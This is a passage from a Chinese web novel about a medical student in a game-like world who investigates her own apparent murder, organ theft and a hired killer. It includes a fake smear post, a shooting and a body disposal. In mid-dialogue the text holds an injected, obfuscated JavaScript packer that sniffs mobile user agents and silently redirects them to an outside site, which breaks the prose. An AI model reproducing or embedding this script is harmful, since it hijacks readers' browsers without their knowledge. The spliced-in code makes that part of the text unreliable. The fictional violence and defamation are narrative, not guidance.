尸体的腹部有几道新旧不一的刀痕，应该已经使用过不止一次了。 乐晴靠近时，那股混合了防腐剂和难以名状的、属于生物组织本身的气息，更加浓烈地扑面而来，粘稠地附着在口罩边缘。 乐晴拿起放在托盘里的解剖刀，指尖隔着薄薄的橡胶手套，心里默默对躺在解剖台上的大体老师道歉，手颤抖着，迟迟不敢动手。 怎么切？ 乐晴没见过怎么剖开腹腔，也不会剖开腹腔，但肯定不是像切腹一样一刀捅进去，然后划拉一道口子，让内容物倾泻而出。 “老师，我可以和乐晴一起吗？我上节课还有不懂的地方，想再实践一下。” 乐晴惊讶地回过头，看见李韵星正举着手，双眼亮晶晶地盯着导师。 乐晴感动得只想当场跪下叫妈。 “可以。李韵星，你们一起吧。” 李韵星点点头，稳步走到乐晴身边，小声道：“别紧张。我知道你本科阶段没学过，但开腹是我们上周学的内容。我主刀，你先注意一下操作要领。” 李韵星拿着刀尖，迅速划开尸体腹部的皮肤，露出里面的筋膜、脂肪和肌肉。随着刀刃深入，一股更浓郁的、混合着福尔马林和暴露组织的复杂气味瞬间弥散开来。 乐晴一点一点呼吸着，试图过滤掉空气中奇怪的气味。 空气里只剩下刀具与组织接触时细微的“沙沙”声，乐晴的视觉被蜡黄、灰白、淡黄、暗红这些非生命的色彩冲击，鼻腔被那股无处不在、深入骨髓的化学气味和暴露组织的腥气所占领，周遭的一切仿佛都褪去了颜色，只剩下解剖台上这具无声的躯体。 李韵星一边割开层层组织，导师一边在旁边讲解，听得乐晴头皮发麻。 人的身体组织格外精细，需要一层一层按照规律小心割开，然后又一层一层小心谨慎缝合起来，万一有什么差错，一具生命就可能因此逝去。 导师介绍完打开腹腔的操作，同时聊起了这位大体老师的生平：“她是我们学校美术系的学姐。几年前，这位学姐被诬陷作品抄袭不堪受辱，于是从教学楼顶楼一跃而下，不治身亡。” “她生前就签了捐献书。遗体和器官，都捐了。”导师顿了顿，指节无意识地在冰冷的解剖台边缘叩了叩，“案子了结后，遗体，就归于医学院了。” 李韵星打开腹腔后，发现腹腔里的脏器不全。 “老师，这位大体老师的肾脏没有了。” 导师点头：“没错。她从教学楼顶楼跃下，只有大脑遭受重创，但脏器全部完好。心脏、肾脏都移植给了需要的人。” 但是怎么可能呢？就算大脑着地，教学楼一共十几层，也不可能脏器完好。 乐晴小声问李韵星：“韵星，这种情况是合理的吗？” 李韵星小幅度摇头，神色凝重：“几乎不可能，高空坠落导致大脑死亡，而身体内脏、骨骼完全无伤的可能性几乎为零。人体在高速撞击中会承受巨大冲击力，脑组织会因惯性猛烈撞击颅骨内壁，引发广泛挫伤、出血、脑疝，心脏、大血管、肝脾等器官因惯性位移，可能导致撕裂或震荡伤，例如主动脉根部断裂、肝门部撕脱，而且，冲击力会通过骨骼和组织传递，引发远离撞击点的内部器官损伤。” 乐晴点头。 这说明，这位学姐大概率不是自杀，甚至可能是死后被人取走所需的脏器，然后被从楼顶扔了下来。 乐晴不知道现在的科技和医学水平发展到了什么程度，但不管多低下，法医不可能发现不了脏器的缺失，送来医学院接手的人应该也不会忽略这其中的不对劲。 乐晴悄悄看向导师，神色如常。 要么是不知道，要么是不当回事。 乐晴更倾向于后者。 导师开始讲授新的内容，李韵星拉着乐晴退到人群后面。 乐晴觉得奇怪。按照李韵星的行事，她不应该站在最前面学习吗，为什么会退到人群最后面？ 正疑惑着，李韵星忽然靠近，小声道：“乐晴，想不想玩点有意思的？” “什么有意思的？” “找到这位学姐去世的真相。” 李韵星的话像一记重雷劈下来：“你的意思是……” “你不是也觉得不对劲吗？这位学姐的死，一定牵扯很广。” “好。” - 等到课程差不多结束，李韵星自告奋勇：“老师，大体老师要送回冷库吗？” 导师正低头整理器械，闻言抬眼，目光锐利地扫过她：“送回。” 顿了一瞬，又像是想起什么：“李韵星，你本科是临床的？” “是的，老师。”她答得干脆。 “好。解剖课上过了。送回冷库前，知道清洁遗体的流程吗？” “知道，也实操过。”李韵星没有犹豫。 “那你负责清洁遗体、送回冷库。”导师抬了下手，示意乐晴上前，“乐晴，你听李韵星的，辅助她的工作。” “是。” 等导师和其他学生都离开，乐晴和李韵星这才谨慎地靠近尸体。 “乐晴，你知道我为什么要留下了清洁大体老师吗？” 乐晴点头：“你想确认大体老师的身份。” 她们只知道躺在解剖台上的是大体老师，是艺术系曾经某一届的学姐，但不知道具体身份。如果不先弄清楚，恐怕不好查。 “没错。” 恍惚中，乐晴觉得李韵星和她有一些相似的地方。 李韵星捏住覆盖尸体的布的一角，用力掀了起来。 那张脸在灯下呈现出一种诡异的苍白，仿佛覆盖着一层薄薄的蜡。福尔马林的长期浸润让皮肤紧绷，失去了所有生命的柔软和血色，呈现出一种冷硬的质感。双唇抿成一条没有弧度的直线，颜色是极淡的灰紫。眼睛紧闭着，眼睑的线条异常清晰，长睫上甚至凝结着细微的、不易察觉的防腐液结晶。几缕黑色的发丝粘在额角和颊边，湿漉漉地贴在过于光滑的皮肤上。左耳垂上，一颗细小的、红色的痣，如同一个被遗忘的句点，静静地缀在那里。 生命已经逝去，只剩下一种被化学药剂和死亡共同定格后的非自然的沉寂。 “乐晴……” 乐晴的双腿灌了铅一样沉重，呆立在原地。 躺在解剖台上的不是别人，正是乐晴的模样。 “怎么会……”乐晴下意识抚摸着自己的左耳耳垂，同样的位置，同样的痣。不光这颗痣，即使尸体已经变形，但依然可以辨认出来，那张脸就是乐晴。 死者是乐晴？那她是谁？ 李韵星抓住乐晴的手，示意她冷静下来：“你先冷静一下。好好想想，你有没有姐妹？有没有和你长相相似的亲戚？或者，你的父母任意一方在外面有没有私生子？” 乐晴摇头，但又不确定。 乐晴晃了 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可如果艺术系研三的乐晴就是躺在解剖台上的这个人，乐晴为什么会拥有一个新的身份？进入迷雾之镜时，系统的说法是，每次死亡扣除20学分，低于60分退学预警，低于40分受到监管，低于20分回到起点。那人物触发这一死亡条件之外的死亡会怎样，像现在这样重建档案？为什么不是回到起点，重新成为艺术系研三的学生？ 如果按照系统的说法，乐晴已经死亡一次，学分最高只有80了。可学分钱包不像命珠那样，打开面板就能看到存量。 这么无端猜测下去不是办法。 乐晴脱下手套往外走：“韵星，你先清洁遗体，我要去找一个人。” 去找和艺术系研三乐晴关系最好的人——夏未。 - 乐晴不知道距离死亡过去了多久，也不知道夏未在哪里。但只要夏未的的确确在这所学校学习过，乐晴就一定能查到蛛丝马迹。 无非三种情况：夏未已经毕业了；夏未还在读；夏未尚未入学。 第三种可能性不大，那就从前面两种查起。 乐晴回到宿舍，打开学校论坛。 在不熟悉学校的情况下，利用论坛是在本校找到一个人最迅速的办法。也是这个原因，论坛每天发布的帖子成百上千条，更不用说回复了。怎样才能让更多人注意到这个帖子呢？ 乐晴想了想，开始打字： [金融系夏未！搞大艺术系女生肚子后消失，连打胎钱都赖账的渣男！删我联系方式后拉黑跑路……望好心人提供夏未的联系方式，我只想找夏未要一个说法（拜托大家私发，私事，希望不要过多占用资源）] 乐晴发布完谣言，又默默忏悔：夏未，虽然我们只有一面之缘，但你的青梅竹马有难，牺牲一下你的名声也是无奈之举，到时候帮你辟谣也在所不辞！ [金融系全是这种衣冠禽兽！建议全校女生避雷这个垃圾专业！] [艺院的姐妹也是傻，这种屌丝男都看得上？活该被白嫖！] [直接把他身份证照片挂出来！] …… 乐晴看着无尽的谩骂，心里打鼓。她好像低估了大家的愤怒程度。 其中也有不少理性的声音。 [支持曝光，但建议保留证据，并直接联系校方或法律援助。舆论不能代替法律追责。] [仅凭两句话就给人定罪了？一点证据都没有，全是一面之词啊。] …… 帖子发布不到一分钟，评论区就有不少同仇敌忾的人帮忙顶帖，也有不少中立者，对夏未的讨伐、对乐晴的讨伐，都逐渐转化成了双方的对垒，评论瞬间破千。 乐晴打开私信，看见不少提供联系方式的消息和安慰她的消息，也有不少愿意提供法律援助的法学生，当然，也有骂她不检点的。乐晴一一略过，把电话号码筛选了一下。其中，出现频率最多的应该就是夏未的。 乐晴删了帖子，立刻拨过去。 “你好，我是夏未。”听声音，夏未好像还不知道自己已经成了连打胎钱都赖账的人渣。 “夏未，我是乐晴。” “乐晴？”夏未有些迟疑，停顿几秒后，再次开口，“乐晴，真的是你？” “真的是我。夏未，我现在遇到点麻烦，需要你的帮忙。” “乐晴，你在哪儿？我现在就去找你！” 30. 学术圣殿（四） 乐晴见到夏未是一个小时后。 看见乐晴，夏未猛地定在原地，瞳孔骤然收缩，下一秒踉跄着冲了过去生龙活虎地出现在他的眼前，强忍着激动跑上前，前后左右检查乐晴是否真的安然无恙。 当确认眼前这个活生生、带着温度的人就是乐晴，而非他恐惧中想象的冰冷幻影时，一股巨大的，几乎将他淹没的狂喜和如释重负的酸楚猛地冲上头顶。他眼眶瞬间泛红，喉头剧烈地滚动了一下，压抑着几乎要冲口而出的哽咽，再没有任何犹豫，带着一种近乎失而复得的珍重和不容抗拒的力道，一把将还未来得及反应的乐晴狠狠地拽进自己怀里。 “太好了，你还活着……” 他的手臂收得极紧，勒得乐晴几乎喘不过气。他的声音沙哑破碎，带着劫后余生的颤抖和浓重的鼻音。 “夏未，你先松手……我快不能呼吸了！”夏未的手就跟老虎钳拧紧的铁丝一样牢牢绞着，乐晴掰了半天，愣是没掰开。 “对不起对不起……”夏未松开乐晴，下意识后退一步，看见鲜活的乐晴，又忍不住靠近。 在夏未一连串不能推进剧情的问题问出口之前，乐晴率先开口：“夏未，我需要你回答我一些问题。” 夏未眨了眨琥珀色的眼睛：“好。” “第一个问题，‘我’的死因，你知道吗？” 夏未忽然捂住乐晴的嘴，警惕地观察四周之后才小声道：“乐晴，不要在这里说。” 乐晴忍不住皱眉：“为什么？有人在监视吗？” 如果有人在监视，她怎么可能活到现在？ 夏未摇头：“我不确定。我总觉得，有一双眼睛在盯着我。” 夏未想了想，纠正自己：“准确来说，是有一双眼睛在盯着你，我只是顺带。” “什么意思？” “因为他知道我会经常出现在你的身边，所以也会盯着我，可他的目标是你。” “他是谁？” 夏未摇头：“我不知道。” 乐晴心里发毛。 什么在盯着她？迷雾之镜吗？还是……迷雾之镜之外，有人在监视她？ 她所知晓的游戏规则是：初始100学分，每次死亡扣除20学分，低于60分退学预警，低于40分受到监管，低于20分回到起点。 会不会是受到监管了，所以才会有一双眼睛盯着她？如果是这个可能，那乐晴的学分只剩40分，扣了60分。这六十分里，有20分可能是因为死亡了一次，还有四十分呢，她死了三次？违规扣除30分，她总不能是违了两次规，没有死亡吧？可游戏规则是违规两次直接死亡啊。 乐晴挠了挠脑袋，百思不得其解。 什么狗屁规定，道具流水也不展示一下。 “乐晴，你怎么了？” 乐晴摇头，表示自己没事：“夏未，带我去一个相对安全的地方吧，即使那双眼睛存在，我也需要知道真相。” “好。” - 离学校不远的地方，一栋三层小楼静立着，灰白的墙体略显粗粝，门口的两棵桂花开得正盛。 夏未推开大门，扑面而来的是松节油、亚麻籽油与陈旧纸张混合的独特气息。 “这是我毕业后租下的工作室。本来，是想和你毕业之后一起开的，但是意外发生得太突然……” 小楼算不上空旷，但还算开阔，采光很好。 南墙整面是巨大的落地窗，阳光慷慨地泼洒进来，为中央区域几组错落摆放的画架镀上暖金，画架上夹着未完成的作品，覆盖着斑驳的颜料层，已经褪色。 靠西侧是一排厚重的实木储物柜，柜门半开，露出塞满的绷好内框的画布和卷起的画纸；旁边则是长条工作台，散落着挤瘪的颜料管、沾满各色油彩的调色盘、成把的画笔插在旧陶罐里，还有几尊静物石膏像随意地立在角落。 东侧靠墙安置着几张舒适的旧沙发和小茶几，形成一个小小的休息讨论区，墙上却并非空白，挂着被钉在软木展板上的、形形色色的随笔画和灵感草稿。 乐晴那些信手涂鸦的作品，便散落在这片墙上。 “我……是什么时候死的？” 夏未的手顿了一下。 “我告诉你那个地方的当天晚上，已经过去一年了。” 那个地方，就是藏书厅。 乐晴心里一沉。 后脑的那瞬钝痛到底是什么，错觉还是她真的遇到了袭击？可她明明仔细观察过，她靠近电梯的时候，附近没有人，除非对方有隐身术之类的本领，她看不见。 “我是怎么死的？” “教学楼坠亡。警方的结论是，你是自杀身亡，但我不信。可在那天晚上，我被叫回家，再辗转得知消息时，你的遗体已经不知道去了哪里。” 去了医学院的冷库。 乐晴坐在沙发上，忍不住去想死亡背后的真相。 乐晴意识消失中断的时候人在科技楼，这一点她不会记错。可最后为什么会从教学楼坠落？ 头疼……乐晴忍不住揉了揉脑袋。 乐晴的手忽然一顿。她的余光好像瞟到了什么。那双盯着她的眼睛吗？ “夏未，二楼是什么？” 夏未拉起乐晴的手，走上楼梯：“我的工作室。毕业之后，我和几个朋友成立了一个工作室，接一些投资风险评估的散单子，就在这里。” 二楼的陈设就简单多了，两排拼接起来的办公桌，八台电脑，一些简单的柜子和绿植摆设。 二楼的陈设简单得多，视野也更开阔。办公桌那头，一扇落地窗的门大开着，白色的窗帘被风吹起翻涌着。 “他们人呢？” “我给他们放假了。” 夏未忽然握住乐晴的双手：“乐晴，告诉我，我该怎样才能保护你？” 乐晴摇头。 他保护不了。 系统是杀不死的。 就好像人无法弑神。 但是—— 乐晴忽然拿出双管枪，把夏未推到一旁，对准桂花树掩映下的人，果断扣动扳机。 “砰——” 那人应声倒地。 乐晴确认四周没有其他可疑的人之后跑到阳台，抓住栏杆从二楼一跃而下，快步跨到那人面前，漆黑的枪口仍然指着他。 她讨厌时时刻刻被人盯着。 “你是谁？” 对方并不开口。 “不说？很好。”乐晴对准他的眉心，手指再次碰上扳机。 “等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271293|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等！”对方见乐晴真的打算杀了他，嘴唇颤抖着张开，“我说。” “说，你是谁，谁派你来的，目的是什么？” “我……我叫邓柯，是‘他’，‘他’让我来……” “‘他’是谁，让你来做什么？” “乐晴，等等。”慢一步赶来的夏未握住乐晴的枪，劝道，“乐晴，你先冷静一下。” 乐晴不满地抽回枪，重新对准邓柯的眉心。 “你要阻止我？” “不。”夏未摇头，“外面人多眼杂，先把他带进去。” 乐晴顿了一下。 夏未说的有道理。就算这是一个虚假的世界，就算她可以一枪一个，也最好不要。 不是杀了所有人就能通关。 当然，如果她能成为最高掌权者，然后自己制定规则，给自己开一条专属通道的话，那另说。 至少在当下，这不是最轻松的方法。 见乐晴收回双管枪，夏未抓住邓柯的衣领。 “乐晴，我们先回工作室。” 夏未把邓柯的外套扒下来，捆在他中枪的地方，不远不近跟在乐晴身后。 邓柯疼得受不了：“哥们儿，止血也不是这个法子。” 夏未垂眼瞥他：“谁给你止血？别把血滴我地板上。” 邓柯：“……” 一下子摊上两个不好惹的。 三楼被夏未做成了个人休息室。夏未不常用到，但会经常上来打扫。 “乐晴，第二个柜子里有一卷塑料。” 听到夏未的话，乐晴打开第二个柜子，里面果然有一卷厚厚的塑料膜。这种塑料膜一般是用来做温室大棚的，结实、防水。 看到塑料膜，邓柯一下子更害怕了。 “我什么都告诉你，别杀我！” 乐晴没回应，剪了一段塑料膜铺到地上，夏未顺势把邓柯扔到上面。 “乐晴，楼梯上滴上了一点血，我去清理一下。” “好。” 夏未离去，乐晴这才坐在沙发上，垂眸看着邓柯。 “说吧，我问你的问题，还有你知道的一切。” 邓柯咽了咽口水：“你就不害怕吗？” “怕什么？” “你那个……朋友。” 邓柯不敢把话说得太直接。乐晴且不说，他接受委托的时候就知道，乐晴不是一般人，否则雇主不会支付那么高额的赏金。可那个夏未……金融专业研究生毕业，毕业后窝囊至极，没去金融企业上班，没有继续念书，反而和几个人合伙开工作室，一年了也没做出什么业绩，可现在看来……如果乐晴是杀人的那个，那夏未就是毁尸灭迹的那个，怎么看也不是善茬。 见乐晴没反应，邓柯凭着自己专业杀手的素质壮起胆子：“你不觉得奇怪吗？你突然复活，他非但不觉得奇怪，还泰然处之帮你毁尸灭迹。” “你怎么知道我是突然复活？” 她的“尸体”还在冷库里冻着，这说明至少她现在的身体拥有一个新的社会身份，和原来的那具不是同一个人，怎么说得上复活？ 邓柯说的“复活”，是不是也知道艺术系研三乐晴的死因？ 他这次来的目的是杀了乐晴，还是再次杀了乐晴？ 31. 学术圣殿（五） 邓柯微微叹了口气：“我不想瞒你。杀你不是我的本意，我也是拿钱办事。谁让你得罪了‘他’呢。” 乐晴有些不耐烦。 问了八百遍，每次问到“他”是谁，邓柯的话题都会跑偏。 “‘他’到底是谁？” 邓柯指了指天上，一句话也没说。 “神？” 邓柯垂着头，若有所思：“算是吧。对我们这些普通人来说，‘他们’就是不可忤逆的神。” “说清楚。” 是就是，不是就不是。只要对方不是更高维度、无法触碰到的人，她就总能找到办法，就像杀死夏夏和丁凡他们那样，不是吗？ “‘他’具体是谁我也不清楚，我通过中间人和‘他’取得联系。”邓柯从胸口的口袋里取出一张被血浸透的卡片，“他。” 乐晴接过卡片。 卡片上只有简洁的几行字：医学院博士生导师，曾传屿。 上面的徽章，正是乐晴就读学校的校徽，而这个医学院，正是她所在的医学院。 可这个人，为什么会和“他”有关系？又为什么要她的命？ “你先别想了。”邓柯咳嗽两声，嗓子里翻涌着浓重的血腥味，“我死后，想办法销毁尸体，不要被人发现。” “好。” 邓柯缓缓闭上眼。 虽说这辈子只活了三十多年，这三十多年一天好日子都没过过，小时候在孤儿院，后来意外撞破孤儿院的阴谋被迫逃离，然后阴差阳错成为“他”的死士，一直到现在，但他也算看透了。“他”从不做好事，他也为虎作伥。 乐晴是来反抗“他”的。 如果他能帮乐晴一把，也算给自己的这一生赎罪了。 “喂，要不要救一下？”乐晴又不是什么杀人如麻的坏人，看到邓柯这副样子，还是有些于心不忍。 邓柯的意识都涣散一半了，被乐晴叫了一声，他忽然清醒了些。 “不用了，死亡是我的解脱。” 如果继续活下去，他不能保证不会回到“他”的手中。 他一开始为“他”办事是为了钱，后来好像有一种名为忠诚的枷锁束缚着他，让他不得挣脱，就好像被困在十厘米高的罐子里的跳蚤，即使可以跃上四五十厘米的罐外，被压制久了，就忘了自己还能跳那么高，跳出枷锁。 既然对方也没有活下去的打算，乐晴也不再劝。毕竟只是迷雾之镜里的世界，对她来说就像是一场游戏，没必要为了一个游戏角色的死去难过得要死要活。 不管是邓柯、夏夏还是丁凡，又或者未来的任何一个人，真实的或虚假的，都是这样。 - 夏未回来的时候，乐晴正蹲在地上整理柜子里堆放的炭笔。 听见门打开的声音，乐晴没抬头：“这些炭笔，是我以前的吧？” 虽然乐晴不会画画，但是迷雾之镜给了她在这个世界的记忆。 楼下的画，这里的炭笔，都是她的。 “嗯。你死之后，我把你的遗物全部带到这里，收了起来。”夏未笑了笑，“没想到，有一天还能看见你亲手拿起这些笔。” 夏未把本来打算运输尸体的麻布袋子放在一旁：“尸体呢？” 用塑料膜垫在尸体下面是为了不让人体组织沾到地上，可以免去很多复杂的清洁步骤，顺便方便转移尸体。拿麻布袋子是为了遮掩视线，将尸体运输到更远的地方。 乐晴悄悄把正在啃光点的小萨往角落里推了推：“我有一个秘密。” “什么，我可以知道吗？” “当然。”乐晴站起来，“我有一个法宝，可以悄无声息地处理掉尸体，不留下任何痕迹。” “可以告诉我，你为什么会拥有这个吗？” 乐晴想了想，摇头：“不是我不想告诉你，只是我也不知道是怎么来的。就像我也不知道自己为什么会突然复活，拥有一个新的身份，这个法宝的来历我也不清楚，我在醒来的时候就发现，手边多出来这个。” 乐晴道：“夏未，如果你有需要，随时来找我，我可以帮你。” 乐晴当然不是突然发善心，要给夏未收拾什么烂摊子，而是邓柯有一句话说得没错。 她突然复活，夏未非但不觉得奇怪，还泰然处之帮她毁尸灭迹。 这太不合理了。 邓柯说的时候乐晴没有继续这个话题往下文，是因为邓柯才是主要问题所在，现在解决了邓柯，她也该弄清楚自己的疑惑了。 夏未好像听到了很荒谬的话，但并没有反驳什么，揉了揉乐晴的头：“以后不要随便跟别人说这些了。” 没获取到任何有效信息，乐晴不甘心：“为什么？你不是我最好的朋友吗？” “我是说，除我之外的任何人。” 夏未说着把塑料膜收拾好，塞进麻布袋子里，准备带走一起烧掉。 “乐晴，这里就交给我吧。” 乐晴抓住夏未的手：“夏未，告诉我，你为什么这么熟练？” 在这里放着能阻挡液体渗漏的塑料膜，能轻车熟路清理血迹、尸体……夏未到底发生了什么？ 夏未背对着乐晴，拿着袋子的手指微不可见地颤了颤，继而道：“乐晴，你不该知道……” “为什么？” 为什么她不该知道？是她知道后会挡了夏未的路，还是她本就身在局中？ - 李韵星清洁完遗体，把遗体推回冷库，看见了挂在门口的大体老师的名字，其中有一列空白。 医学院会把每位大体老师的姓名贴在外面，医学生上课前都会鞠躬以示感恩，无名尸除外。 李韵星隔着塑料板抚摸着那列空白，喃喃道：“乐晴……” 他们刚才解剖的那具无名尸，就是乐晴，李韵星确信。 什么兄弟姐妹，都很难长得一模一样，就算是同卵双胞胎，骨相、皮相、细节，也一定有区别，而躺在解剖台上的乐晴和她的室友乐晴竟然一模一样，她看不出半点区别来。而且乐晴的反应……李韵星很难不怀疑。 李韵星不在乎她的室友乐晴是不是真的人，也不在乎她的室友乐晴和躺在解剖台上的乐晴是不是同一个，她只想弄清楚解剖台上的乐晴的死亡真相。 在解剖遗体的时候，李韵星凭借自己多年所学，基本能断定她绝不是高空坠落而死。 可为什么？她想不通。 乐晴得罪了什么人，让对方不得不杀她吗？ 李韵星对乐晴的家世背景不是很清楚，但也明白乐晴绝对不是和她一样来自普通家庭。能进入这个专业的，大都有权有势，而李韵星能进入这个专业纯属阴差阳错。 “韵星啊，怎么呆站在这里？” 李韵星回过神，看着来人，恭敬地问好：“曾教授。” 曾教授和蔼地笑了笑，眼神不动声色扫过李韵星先前一直盯着的空白，问道：“在看什么？” “没什么，曾教授，就是在想，冷库里的每一位大体老师的姓名都在上面吗？” 曾教授打开保温杯，慢悠悠喝了一口水：“你没有核对过吗？” 李韵星摇头：“导师让我来清洁解剖时用到的遗体，把她送回冷库，我也不敢擅自打扰其他大体老师。只是看到这块空白的位置，有些疑惑。” 曾教授舒了一口气：“韵星，有求知欲是好事，这说明你对未知充满好奇和兴趣，而这正是督促你学习的最好的老师。继续保持啊，韵星，我看好你。” “谢谢曾教授。” 曾教授点点头，对李韵星颇为满意：“韵星，打不打算继续读博？” 李韵星不好意思地笑了笑：“我自己当然是有这个想法，但能不能读还说不好。” “这怎么说不好？你们专业，你的成绩是名列前茅，先不说其他人，你们宿舍谁比得过你？”曾教授敲了敲那块空白的板子，“韵星，试试，到时候，我亲自带你。” 李韵星瞪大双眼，赶紧推辞：“曾教授，您可是我们学院最权威的教授了，我的资质还不够……” 看见李韵星又崇拜又受宠若惊的模样，曾教授呵呵笑了 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至于乐晴，也是通过这种途径进来的，只是相比于她们，乐晴人倒是还行，住宿舍、按部就班上课，没有像其他人一样不去上课也不来学校，读了两年见不到人，不过本科也是美院的，画素描。 这个曾传屿，官网简历上的描述不多，李韵星只知道他也是这所学校毕业，后来去了南方某医院工作，年过三十又调了回来，之后一直是附属医院的医生，兼任本校博士生导师。 医学院那么多教授，比曾传屿履历丰富的人多的是，李韵星为什么对他印象格外清晰呢？大概是因为，梁屈晨、冯新脪的推荐人都有他。 李韵星很难不把曾传屿和某些神秘力量联系起来。 李韵星还没想通这其中的门道，手机铃声忽然响起。 “喂，乐晴。” “韵星，找到那位学姐的身份了吗？” 李韵星并没有打算说实话，而是把自己的推测变成了事实：“找到了，艺术学院的一位学姐，也叫乐晴。” 乐晴忽然顿住：“你的意思是……” “没错，和你长得一模一样，并且同名同姓。”李韵星云淡风轻地撒着谎，推开医学院大楼的门，走了出去。 医学院的门口种了两排郁郁葱葱的松柏，阳光碎钻一样从树叶间隙纷纷扬扬洒了下来，落在李韵星身上。 李韵星时常会想，医学院门口为什么会种松柏，这东西不是一般都种在墓园吗？一开始，李韵星还会自欺欺人找理由，比如医学院里躺着不少大体老师，也算是他们的墓园，种松柏倒也合理。又或者，院长爱好独特，就喜欢这松柏。后来，李韵星觉得医学院和墓园好像没什么区别，反正除了管理人员，剩下的都是要死的。 收回思绪，李韵星继续往外走：“乐晴，你那边有什么情况吗？” “我……”乐晴想了想，随口道，“我找到了艺术系乐晴学姐的一些信息，其中一项可能很关键。” “什么？” “我找到了当初她的青梅竹马，夏先生。” 夏未温和地笑了笑，并没有否认青梅竹马的关系，也很喜欢夏先生这个称呼。 乐晴继续道：“根据夏先生的说法，乐晴学姐并没有签署过任何捐献遗体、器官的文件。” 当然，夏未并没有说过这些，是乐晴自己记得，进入游戏之后的所有记忆中，没有任何与此相关。 而导师说过，艺术系的这位学姐，曾经捐献了自己的器官，又捐献了自己的遗体用于医学事业。 “没有捐献过……乐晴，这位夏先生，知不知道学姐的下落？” 乐晴看了一眼夏未，有些心虚地回答：“不知道。” 夏未对上乐晴的视线，依然是温和一笑。 他不知道，但也不是完全不知道。 一年前，他多方打听，虽然不知道乐晴的遗体究竟在什么地方，但他打听到了乐晴肾脏的下落——捐献给了一位名叫董栩鸿的人。 他们医学院的院长，正好也姓董。 32. 学术圣殿（六） 董栩鸿，男，与艺术系研三的乐晴同岁，曾就任卫生健康部副部长，系该校医学院院长的独生子，同时，夏未还调查到，曾传屿是董栩鸿的姑父。 听到这里，乐晴不住问他：“你为什么会调查到这些？” “因为我从来不相信你会想不开。”夏未琥珀色的眼睛看着乐晴，盯得她头皮发麻。 夏未：“我们乐晴是世界上最勇敢的人，就算陷入绝境也只会接纳并探索，将一切不确定握在手中，怎么可能想不开呢？” 乐晴：“……” 她虽然也觉得自己足够坚强，但也没有夏未说的这样。 “那么……你说的不该知道，又是什么？” 夏未说，她不该知道。不该知道什么？就目前看来，夏未至少没有要乐晴性命的意思。 夏未微微叹了一口气，又仿佛卸下了心里的重担。 “这是你的事情，或许我本就不该瞒你。”夏未道，“我杀了董栩鸿。” “你……”乐晴一时之间没反应过来。 “他偷走了你的器官，他本不该活下去。”夏未淡淡道，“是他，抢走了你的生命。” “等一下……” 也就是说，夏未杀了董栩鸿。 乐晴是外来者，对她来说，这里只是一个游戏副本，但是夏未却实实在在是这里的人。 “你是怎么杀的他？” “不难。” 对他来说，悄无声息杀死一个人不难。在这个世界上，有邓柯这样为了钱财愿意放弃生命的尊严的人，要杀人就不难。 夏未杀死董栩鸿的方法也差不多。这样，不仅能把自己摘出去，还能达到目的。 乐晴也不想去追究夏未到底是怎么杀死的董栩鸿。只是……她觉得，这个世界不光异化她这个外来者，还异化了本来就生活在这里的人，又或者说，人在自己异化自己，即使换了一个世界，他们的本性不会改变。 “夏未，那……”乐晴看了一眼外面逐渐黯淡的天色，“我先回宿舍了。” 乐晴还要回去，和李韵星整合一下目前已经获得的信息。 “我送你吧。” 乐晴下意识拒绝：“不用了。” “还会有人对你不利。” 听到夏未的话，乐晴脚步一顿。 夏未说得没错，邓柯就是对方派来杀她的。邓柯死了，但是想杀她的人还在。 想杀她的人究竟是谁？医学院博士生导师曾传屿又在中间扮演着什么样的身份？“他”，是医学院的院长吗？ 疑惑太多，乐晴仅凭猜测没办法下结论。 “好。” - 回到宿舍的时候，李韵星正在整理最近上课的资料。 听到宿舍门打开的声音，李韵星只是微微偏头。 “乐晴，回来了？怎么样？” “不怎么样。”乐晴疲惫地瘫倒在椅子上，“疑惑太多了。” “具体说说？” “嗯……”乐晴整理了一下思绪，把关于自己的经历抹去，“听那位夏先生说，乐晴学姐死后尸体下落不明，后来夏先生一路打听到，乐晴学姐的肾脏被人摘走了。” 李韵星的手一顿：“肾脏？” 乐晴点头：“可是，导师分明说，心脏、肾脏，都捐献给了有需要的人。” 而且是那个乐晴生前就签署了捐献书。 夏未撒谎的可能性不大，所以——大概率是导师撒了谎，或者转运遗体的人撒了谎。 他们谎称乐晴主动签署了遗体、器官捐献书，并且摘走了她的内脏。 “韵星，你记得乐晴学姐的内脏少了哪些吗？” “心脏，肾脏，还有肝脏。” 但是导师说的，只有心脏和肾脏捐献了出去，肝脏呢？是导师说谎了，还是用作其他？ 李韵星从抽屉里拿出那张名片：“他，你认识吗？” 乐晴接过名片，再疲惫的身体在看见那个名字的时候也精神起来了。 乐晴站起来：“曾传屿？！” “我送完尸体遇到的他。他把名片给我，说是，如果我能读博，他带我。” “那你读吗？” 李韵星想了想：“他不是在问我的意见。” “那是什么？” 李韵星起身，关上宿舍门。 “他在要求我。” 乐晴不懂：“为什么？” 曾传屿是医学院的博士生导师，如果乐晴不知道他是中间人，肯定也会觉得他是一个在医学方面颇有建树的人，对想读博的人来说，他无疑是个很好的选择。 这样一个人，为什么会要求李韵星在他的团队读博？除去本校的医学生，其他想来到这里读博的肯定不在少数。 “我想，是因为他需要一个真正干活的人。”李韵星的眼神扫过宿舍里的其他三个床位，最终停留在乐晴的床位，“乐晴，如果我没记错的话，你本科是学素描的，对吗？” 乐晴迟疑地点头。 乐晴下意识要否认，但又想到她的新身份的确是本科学习素描，后来升入医学院的。 等等……美术生为什么能读医学院的研究生？她又是怎么进入的医学院？ 乐晴顾不上李韵星，赶紧打开手机。可惜系统并没有给她留下多少和过去有关的信息，就连这部分的记忆也是残缺不全的。 李韵星继续道：“你是通过特别培养计划的考试进来的。” “特别培养计划？” 这是什么？乐晴对此没有任何记忆。 